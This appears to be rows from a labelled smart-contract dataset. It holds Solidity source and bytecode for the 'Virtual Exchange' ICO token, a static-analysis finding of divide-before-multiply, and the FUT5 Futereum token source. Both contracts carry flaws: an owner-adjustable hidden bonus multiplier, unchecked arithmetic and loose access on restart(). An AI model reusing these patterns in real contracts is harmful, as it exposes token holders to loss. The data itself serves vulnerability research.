uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
/* Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
/* Actual balances of token holders */
mapping(address => uint) balances;
/* approve() allowances */
mapping (address => mapping (address => uint)) allowed;
/* Interface declaration */
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract VirtualExchange is StandardToken {
string public name = "Virtual Exchange";
string public symbol = "VEX";
uint public decimals = 18;
uint data1 = 1;
uint data2 = 1;
uint data3 = 1;
// This function allows to change te value of data1, data2, and data3.
function set(uint x, uint y, uint z) public onlyOwner {
data1 = x;
data2 = y;
data3 = z;
}
/**
* Boolean contract states
*/
bool halted = false; //the founder address can set this to true to halt the whole TGE event due to emergency
bool preTge = true; //Pre-TGE state
bool stageOne = false; //Bonus Stage One state
bool stageTwo = false; //Bonus Stage Two state
bool stageThree = false; //Bonus Stage Three state
bool public freeze = true; //Freeze state
/**
* Initial founder address (set in constructor)
* All deposited ETH will be forwarded to this address.
*/
address founder = 0x0;
address owner = 0x0;
/**
* Token count
*/
uint totalTokens = 700000000 * 10**18; // ICO Participants
uint team = 315000000; // Property of Virtual Exchange LTDA (45%)
uint bounty = 35000000; // Bounty (5%)
/**
* TGE and Pre-TGE cap
*/
uint preTgeCap = 700000120 * 10**18; // Max amount raised during Pre-TGE is 700.000 // 1000 unidades representan 1 ETH
uint tgeCap = 700000120 * 10**18; // Max amount raised during Pre-TGE is 700.000 // 1000 unidades representan 1 ETH
/**
* Statistic values
*/
uint presaleTokenSupply = 0; // This will keep track of the token supply created during the TGE event
uint presaleEtherRaised = 0; // This will keep track of the Ether raised during the TGE event
uint preTgeTokenSupply = 0; // This will keep track of the token supply created during the Pre-TGE
event Buy(address indexed sender, uint eth, uint fbt);
/* This generates a public event on the blockchain that will notify clients */
event TokensSent(address indexed to, uint256 value);
event ContributionReceived(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function VirtualExchange(address _founder) payable {
owner = msg.sender;
founder = _founder;
// Move team token pool to founder balance
balances[founder] = team;
// Sub from total tokens team pool
totalTokens = safeSub(totalTokens, team);
// Sub from total tokens bounty pool
totalTokens = safeSub(totalTokens, bounty);
// Total supply is 700000000
totalSupply = totalTokens;
balances[owner] = totalSupply;
}
/**
* 1 VTX = 0.05 FINNEY
* Price is 20000 VTX for 1 ETH
*/
function price() constant returns (uint){
return 0.05 finney;
}
/**
* The basic entry point to participate the TGE event process.
*
* Pay for funding, get invested tokens back in the sender address.
*/
function buy() public payable returns(bool) {
// Buy allowed if contract is not on halt
require(!halted);
// Amount of wei should be more that 0
require(msg.value>0);
// Count expected tokens price
uint tokens = msg.value * 10**18 / price();
// Total tokens should be more than user want's to buy
require(balances[owner]>tokens);
// Give +25% of tokens on stage three is enabled
if (stageThree) {
preTge = false;
stageOne = false;
stageTwo = false;
tokens = tokens + (tokens / 4);
}
// Give +50% of tokens on Stage Two and disable other stages
if (stageTwo) {
preTge = false;
stageOne = false;
stageThree = false;
tokens = tokens + (tokens / 2);
}
// Give +75% of tokens on Stage One and disable other stages
if (stageOne) {
preTge = false;
stageTwo = false;
stageThree = false;
tokens = tokens + ((tokens / 4) * 3);
}
// Give +100% of tokents on Pre-TGE (data1 value default to "1")
if (preTge) {
stageOne = false;
stageTwo = false;
stageThree = false;
tokens = tokens + (tokens * data1);
}
// Check how much tokens already sold
if (preTge) {
// Check that required tokens count are less than tokens already sold on Pre-TGE
require(safeAdd(presaleTokenSupply, tokens) < preTgeCap);
} else {
// Check that required tokens count are less than tokens already sold on tge sub Pre-TGE
require(safeAdd(presaleTokenSupply, tokens) < safeSub(tgeCap, preTgeTokenSupply));
}
// Send wei to founder address
founder.transfer(msg.value);
// Add tokens to user balance and remove from totalSupply
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
// Remove sold tokens from total supply count
balances[owner] = safeSub(balances[owner], tokens);
// Update stats
if (preTge) {
preTgeTokenSupply = safeAdd(preTgeTokenSupply, tokens);
}
presaleTokenSupply = safeAdd(presaleTokenSupply, tokens);
presaleEtherRaised = safeAdd(presaleEtherRaised, msg.value);
// Send buy VTX token action
Buy(msg.sender, msg.value, tokens);
// /* Emit log events */
TokensSent(msg.sender, tokens);
ContributionReceived(msg.sender, msg.value);
Transfer(owner, msg.sender, tokens);
return true;
}
/**
* ICO state.
*/
function InitialPriceEnable() onlyOwner() {
preTge = true;
}
function InitialPriceDisable() onlyOwner() {
preTge = false;
}
/**
* Bonus Stage One state.
*/
function PriceOneEnable() onlyOwner() {
stageOne = true;
}
function PriceOneDisable() onlyOwner() {
stageOne = false;
}
/**
* Bonus Stage Two state.
*/
function PriceTwoEnable() onlyOwner() {
stageTwo = true;
}
function PriceTwoDisable() onlyOwner() {
stageTwo = false;
}
/**
* Bonus Stage Three state.
*/
function PriceThreeEnable() onlyOwner() {
stageThree = true;
}
function PriceThreeDisable() onlyOwner() {
stageThree = false;
}
/**
* Emergency stop whole TGE event.
*/
function EventEmergencyStop() onlyOwner() {
halted = true;
}
function EventEmergencyContinue() onlyOwner() {
halted = false;
}
/**
* ERC 20 Standard Token interface transfer function
*
* Prevent transfers until halt period is over.
*/
function transfer(address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transfer(_to, _value);
}
/**
* ERC 20 Standard Token interface transfer function
*
* Prevent transfers until halt period is over.
*/
function transferFrom(address _from, address _to, uint256 _value) isAvailable() returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
/**
* Burn all tokens from a balance.
*/
function burnRemainingTokens() isAvailable() onlyOwner() {
Burn(owner, balances[owner]);
balances[owner] = 0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isAvailable() {
require(!halted && !freeze);
_;
}
/**
* Just being sent some cash? Let's buy tokens
*/
function() payable {
buy();
}
/**
* Freeze and unfreeze TGE.
*/
function freeze() onlyOwner() {
freeze = true;
}
function unFreeze() onlyOwner() {
freeze = false;
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630464f4b21461015f57806306fdde0314610174578063095ea7b31461020257806318160ddd1461025c57806323b872dd146102855780632afcf433146102fe578063313ce5671461031357806343b0e8df1461033c57806350a822651461037157806362a5af3b1461038657806370a082311461039b5780637cf12b90146103e857806383408d73146103fd57806395d89b41146104125780639ee5451d146104a0578063a035b1fe146104b5578063a6f2ae3a146104de578063a9059cbb14610500578063bdef744b1461055a578063c8d840fa1461056f578063c99d89fc14610584578063dbd760ca14610599578063dd62ed3e146105ae578063eefa597b1461061a578063f909640c14610647578063fac416ab1461065c575b61015c610671565b50005b341561016a57600080fd5b610172610cef565b005b341561017f57600080fd5b610187610d68565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c75780820151818401526020810190506101ac565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020d57600080fd5b610242600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e06565b604051808215151515815260200191505060405180910390f35b341561026757600080fd5b61026f610f8d565b6040518082815260200191505060405180910390f35b341561029057600080fd5b6102e4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f93565b604051808215151515815260200191505060405180910390f35b341561030957600080fd5b610311610fde565b005b341561031e57600080fd5b610326611057565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61036f600480803590602001909190803590602001909190803590602001909190505061105d565b005b341561037c57600080fd5b6103846110d3565b005b341561039157600080fd5b61039961114c565b005b34156103a657600080fd5b6103d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c5565b6040518082815260200191505060405180910390f35b34156103f357600080fd5b6103fb61120e565b005b341561040857600080fd5b610410611287565b005b341561041d57600080fd5b610425611452565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046557808201518184015260208101905061044a565b50505050905090810190601f1680156104925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ab57600080fd5b6104b36114f0565b005b34156104c057600080fd5b6104c8611569565b6040518082815260200191505060405180910390f35b6104e6610671565b604051808215151515815260200191505060405180910390f35b341561050b57600080fd5b610540600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611577565b604051808215151515815260200191505060405180910390f35b341561056557600080fd5b61056d6115c0565b005b341561057a57600080fd5b610582611639565b005b341561058f57600080fd5b6105976116b2565b005b34156105a457600080fd5b6105ac61172b565b005b34156105b957600080fd5b610604600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117a4565b6040518082815260200191505060405180910390f35b341561062557600080fd5b61062d61182b565b604051808215151515815260200191505060405180910390f35b341561065257600080fd5b61065a611834565b005b341561066757600080fd5b61066f6118ad565b005b600080600960009054906101000a900460ff1615151561069057600080fd5b60003411151561069f57600080fd5b6106a7611569565b670de0b6b3a764000034028115156106bb57fe5b0490508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561072d57600080fd5b600960049054906101000a900460ff16156107a5576000600960016101000a81548160ff0219169083151502179055506000600960026101000a81548160ff0219169083151502179055506000600960036101000a81548160ff02191690831515021790555060048181151561079f57fe5b04810190505b600960039054906101000a900460ff161561081d576000600960016101000a81548160ff0219169083151502179055506000600960026101000a81548160ff0219169083151502179055506000600960046101000a81548160ff02191690831515021790555060028181151561081757fe5b04810190505b600960029054906101000a900460ff1615610898576000600960016101000a81548160ff0219169083151502179055506000600960036101000a81548160ff0219169083151502179055506000600960046101000a81548160ff021916908315150217905550600360048281151561089157fe5b0402810190505b600960019054906101000a900460ff1615610908576000600960026101000a81548160ff0219169083151502179055506000600960036101000a81548160ff0219169083151502179055506000600960046101000a81548160ff0219169083151502179055506006548102810190505b600960019054906101000a900460ff161561093d57600e5461092c60105483611926565b10151561093857600080fd5b610964565b61094b600f54601254611950565b61095760105483611926565b10151561096357600080fd5b5b600960069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156109c657600080fd5b610a0f600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611926565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610abd60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611950565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960019054906101000a900460ff1615610b4a57610b4360125482611926565b6012819055505b610b5660105482611926565b601081905550610b6860115434611926565b6011819055503373ffffffffffffffffffffffffffffffffffffffff167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed3483604051808381526020018281526020019250505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff167ff18d5a93c62c1d0c761ed52107f11d20bc2071851206b79c4dd3283bd9f006f1826040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff167f1bb460ccaaf70fbacfec17a376f8acbd278c1405590ffcc8ebe4b88daf4f64ad346040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4b57600080fd5b6001600960016101000a81548160ff021916908315150217905550565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dfe5780601f10610dd357610100808354040283529160200191610dfe565b820191906000526020600020905b815481529060010190602001808311610de157829003601f168201915b505050505081565b600080821480610e9257506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610e9d57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600960009054906101000a900460ff16158015610fbf5750600960059054906101000a900460ff16155b1515610fca57600080fd5b610fd5848484611969565b90509392505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103a57600080fd5b6001600960036101000a81548160ff021916908315150217905550565b60055481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b957600080fd5b826006819055508160078190555080600881905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112f57600080fd5b6001600960006101000a81548160ff021916908315150217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a857600080fd5b6001600960056101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126a57600080fd5b6000600960056101000a81548160ff021916908315150217905550565b600960009054906101000a900460ff161580156112b15750600960059054906101000a900460ff16155b15156112bc57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131857600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a2600060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114e85780601f106114bd576101008083540402835291602001916114e8565b820191906000526020600020905b8154815290600101906020018083116114cb57829003601f168201915b505050505081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154c57600080fd5b6000600960026101000a81548160ff021916908315150217905550565b6000652d79883d2000905090565b6000600960009054906101000a900460ff161580156115a35750600960059054906101000a900460ff16155b15156115ae57600080fd5b6115b88383611bfe565b905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161c57600080fd5b6000600960036101000a81548160ff021916908315150217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169557600080fd5b6000600960006101000a81548160ff021916908315150217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170e57600080fd5b6001600960026101000a81548160ff021916908315150217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178757600080fd5b6000600960046101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006001905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189057600080fd5b6000600960016101000a81548160ff021916908315150217905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190957600080fd5b6001600960046101000a81548160ff021916908315150217905550565b600080828401905083811015801561193e5750828110155b151561194657fe5b8091505092915050565b600082821115151561195e57fe5b818303905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a34600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611926565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611950565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b0d8184611950565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000611c49600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611950565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cd5600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611926565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820bdffdb37cb41bfc29389f855dca16f23ccfd3f77bc2ae20cf0a06aaac34c57ae0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,531 |
0x39df1d25c0c1f92eeb0d78e656d606d6d74cdd02 | pragma solidity ^0.4.18;
contract FUT5 {
uint256 constant MAX_UINT256 = 2**256 - 1;
uint256 MAX_SUBMITTED = 5000671576194550000;
// (no premine)
uint256 _totalSupply = 0;
// The following 2 variables are essentially a lookup table.
// They are not constant because they are memory.
// I came up with this because calculating it was expensive,
// especially so when crossing tiers.
// Sum of each tier by ether submitted.
uint256[] levels = [
87719298245614000,
198955253301794000,
373500707847248000,
641147766670778000,
984004909527921000,
1484004909527920000,
2184004909527920000,
3084004909527920000,
4150671576194590000,
5000671576194550000
];
// Token amounts for each tier.
uint256[] ratios = [
114,
89,
55,
34,
21,
13,
8,
5,
3,
2 ];
// total ether submitted before fees.
uint256 _submitted = 0;
uint256 public tier = 0;
// ERC20 events.
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// FUT5 events.
event Mined(address indexed _miner, uint _value);
event WaitStarted(uint256 endTime);
event SwapStarted(uint256 endTime);
event MiningStart(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
event MiningExtended(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
// Optional ERC20 values.
string public name = "Futereum 5";
uint8 public decimals = 18;
string public symbol = "FUT5";
// Public variables so the curious can check the state.
bool public swap = false;
bool public wait = false;
bool public extended = false;
// Public end time for the current state.
uint256 public endTime;
// These are calculated at mining start.
uint256 swapTime;
uint256 swapEndTime;
uint256 endTimeExtended;
uint256 swapTimeExtended;
uint256 swapEndTimeExtended;
// Pay rate calculated from balance later.
uint256 public payRate = 0;
// Fee variables. Fees are reserved and then withdrawn later.
uint256 submittedFeesPaid = 0;
uint256 penalty = 0;
uint256 reservedFees = 0;
// Storage.
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
// Fallback function mines the tokens.
// Send from a wallet you control.
// DON'T send from an exchange wallet!
// We recommend sending using a method that calculates gas for you.
// Here are some estimates (not guaranteed to be accurate):
// It usually costs around 90k gas. It cost more if you cross a tier.
// Maximum around 190k gas.
function () external payable {
require(msg.sender != address(0) &&
tier != 10 &&
swap == false &&
wait == false);
uint256 issued = mint(msg.sender, msg.value);
Mined(msg.sender, issued);
Transfer(this, msg.sender, issued);
}
// Constructor.
function FUT5() public {
_start();
}
// This gets called by constructor AND after the swap to restart evertying.
function _start() internal
{
swap = false;
wait = false;
extended = false;
endTime = now + 4 hours;
swapTime = endTime + 2 hours;
swapEndTime = swapTime + 2 hours;
endTimeExtended = now + 8 hours;
swapTimeExtended = endTimeExtended + 2 hours;
swapEndTimeExtended = swapTimeExtended + 2 hours;
submittedFeesPaid = 0;
_submitted = 0;
reservedFees = 0;
payRate = 0;
tier = 0;
MiningStart(endTime, swapTime, swapEndTime);
}
// Restarts everything after swap.
// This is expensive, so we make someone call it and pay for the gas.
// Any holders that miss the swap get to keep their tokens.
// Ether stays in contract, minus 20% penalty fee.
function restart() public {
require(swap && now >= endTime);
penalty = this.balance * 2000 / 10000;
payFees();
_start();
}
// ERC20 standard supply function.
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
// Mints new tokens when they are mined.
function mint(address _to, uint256 _value) internal returns (uint256)
{
uint256 total = _submitted + _value;
if (total > MAX_SUBMITTED)
{
uint256 refund = total - MAX_SUBMITTED - 1;
_value = _value - refund;
// refund money and continue.
_to.transfer(refund);
}
_submitted += _value;
total -= refund;
uint256 tokens = calculateTokens(total, _value);
balances[_to] += tokens;
_totalSupply += tokens;
return tokens;
}
// Calculates the tokens mined based on the tier.
function calculateTokens(uint256 total, uint256 _value) internal returns (uint256)
{
if (tier == 10)
{
// This just rounds it off to an even number.
return 74000;
}
uint256 tokens = 0;
if (total > levels[tier])
{
uint256 remaining = total - levels[tier];
_value -= remaining;
tokens = (_value) * ratios[tier];
tier += 1;
tokens += calculateTokens(total, remaining);
}
else
{
tokens = _value * ratios[tier];
}
return tokens;
}
// This is basically so you don't have to add 1 to the last completed tier.
// You're welcome.
function currentTier() public view returns (uint256) {
if (tier == 10)
{
return 10;
}
else
{
return tier + 1;
}
}
// Ether remaining for tier.
function leftInTier() public view returns (uint256) {
if (tier == 10) {
return 0;
}
else
{
return levels[tier] - _submitted;
}
}
// Total sumbitted for mining.
function submitted() public view returns (uint256) {
return _submitted;
}
// Balance minus oustanding fees.
function balanceMinusFeesOutstanding() public view returns (uint256) {
return this.balance - (penalty + (_submitted - submittedFeesPaid) * 1530 / 10000); // fees are 15.3 % total.
}
// Calculates the amount of ether per token from the balance.
// This is calculated once by the first account to swap.
function calulateRate() internal {
reservedFees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000; // fees are 15.3 % total.
uint256 tokens = _totalSupply / 1 ether;
payRate = (this.balance - reservedFees);
payRate = payRate / tokens;
}
// This function is called on token transfer and fee payment.
// It checks the next deadline and then updates the deadline and state.
//
// It uses the block time, but the time periods are days and months,
// so it should be pretty safe ¯\_(ツ)_/¯
function _updateState() internal {
// Most of the time, this will just be skipped.
if (now >= endTime)
{
// We are not currently swapping or waiting to swap
if(!swap && !wait)
{
if (extended)
{
// It's been 36 months.
wait = true;
endTime = swapTimeExtended;
WaitStarted(endTime);
}
else if (tier == 10)
{
// Tiers filled
wait = true;
endTime = swapTime;
WaitStarted(endTime);
}
else
{
// Extended to 36 months
endTime = endTimeExtended;
extended = true;
MiningExtended(endTime, swapTime, swapEndTime);
}
}
else if (wait)
{
// It's time to swap.
swap = true;
wait = false;
if (extended)
{
endTime = swapEndTimeExtended;
}
else
{
endTime = swapEndTime;
}
SwapStarted(endTime);
}
}
}
// Standard ERC20 transfer plus state check and token swap logic.
//
// We recommend sending using a method that calculates gas for you.
//
// Here are some estimates (not guaranteed to be accurate):
// It usually costs around 37k gas. It cost more if the state changes.
// State change means around 55k - 65k gas.
// Swapping tokens for ether costs around 46k gas. (around 93k for the first account to swap)
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
// Normal transfers check if time is expired.
_updateState();
// Check if sending in for swap.
if (_to == address(this))
{
// throw if they can't swap yet.
require(swap);
if (payRate == 0)
{
calulateRate(); // Gas to calc the rate paid by first unlucky soul.
}
uint256 amount = _value * payRate;
// Adjust for decimals
amount /= 1 ether;
// Burn tokens.
balances[msg.sender] -= _value;
_totalSupply -= _value;
Transfer(msg.sender, _to, _value);
//send ether
msg.sender.transfer(amount);
} else
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
return true;
}
// Standard ERC20.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
// Standard ERC20.
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
// Standard ERC20.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// ********************
// Fee stuff.
// Addresses for fees. Tops own's all of these now
address public foundation = 0xE252765E4A71e3170b2215cf63C16E7553ec26bD;
address public owner = 0xa4cdd9c17d87EcceF6a02AC43F677501cAb05d04;
address public dev = 0xE063FC19c38ceDb8d543a563452096c2D94C84B4;
// Pays fees to the foundation, the owner, and the dev.
// It also updates the state. Anyone can call this.
function payFees() public {
// Check state to see if swap needs to happen.
_updateState();
uint256 fees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000; // fees are 15.3 % total.
submittedFeesPaid = _submitted;
reservedFees = 0;
penalty = 0;
if (fees > 0)
{
foundation.transfer(fees / 2);
owner.transfer(fees / 4);
dev.transfer(fees / 4);
}
}
function changeFoundation (address _receiver) public
{
require(msg.sender == foundation);
foundation = _receiver;
}
function changeOwner (address _receiver) public
{
require(msg.sender == owner);
owner = _receiver;
}
function changeDev (address _receiver) public
{
require(msg.sender == dev);
dev = _receiver;
}
